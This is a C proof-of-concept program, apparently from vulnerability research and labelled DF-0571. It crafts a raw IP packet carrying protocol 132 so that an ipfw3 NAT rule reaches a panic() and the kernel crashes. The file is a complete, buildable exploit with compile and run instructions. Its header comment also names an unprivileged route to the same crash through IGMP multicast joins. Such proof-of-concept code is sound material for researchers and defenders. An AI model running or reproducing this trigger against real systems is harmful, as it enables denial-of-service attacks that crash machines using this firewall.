DF-0571 / raw_trigger.c
/* * DF-0571 raw trigger (root): sends an IP packet with proto=132 (SCTP) * outbound via vtnet0. When an ipfw3 NAT rule matches this packet, * check_nat -> ip_fw3_nat -> switch(ip->ip_p) { default: * panic("ipfw3: unsupported proto %u") } -> kernel panic. * * We use a raw IP socket (IPPROTO_RAW) which doesn't require any SCTP * support and lets us set arbitrary ip->ip_p. * * Build: cc -o raw_trigger raw_trigger.c * Run: ./raw_trigger (panic should follow) * * NOTE: opening a raw IP socket requires SYSCAP_NONET_RAW (i.e. root). * An unprivileged user triggers the same panic indirectly via IGMP * membership reports (proto 2) which the kernel emits for multicast * joins -- see trigger.c. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(void) { int s, rc; unsigned char pkt[32]; struct ip *ip = (struct ip *)pkt; struct sockaddr_in dst; printf("[*] DF-0571 raw trigger: sending IP packet with proto=132 (SCTP)\n"); printf("[*] if a NAT rule matches, kernel will panic at\n"); printf("[*] ip_fw3_nat.c:254 panic(\"ipfw3: unsupported proto %%u\")\n"); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(RAW)"); return 1; } int one = 1; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("setsockopt(IP_HDRINCL)"); close(s); return 1; } /* build minimal IP header with proto=132 (SCTP) */ memset(pkt, 0, sizeof(pkt)); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_len = htons(sizeof(pkt)); ip->ip_id = htons(0x1234); ip->ip_ttl = 64; ip->ip_p = 132; /* IPPROTO_SCTP -- not in NAT switch */ ip->ip_src.s_addr = inet_addr("10.0.2.15"); ip->ip_dst.s_addr = inet_addr("10.0.3.5"); /* outside our net but ok */ memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_addr = ip->ip_dst; printf("[*] sendto() ... (panic should immediately follow)\n"); fflush(stdout); rc = sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); printf("[+] sendto returned %d (errno=%d: %s)\n", rc, errno, strerror(errno)); /* if we get here, the rule didn't match -- try alternative */ if (rc >= 0) { printf("[!] no panic; rule may not have matched this packet\n"); } close(s); return 0; } |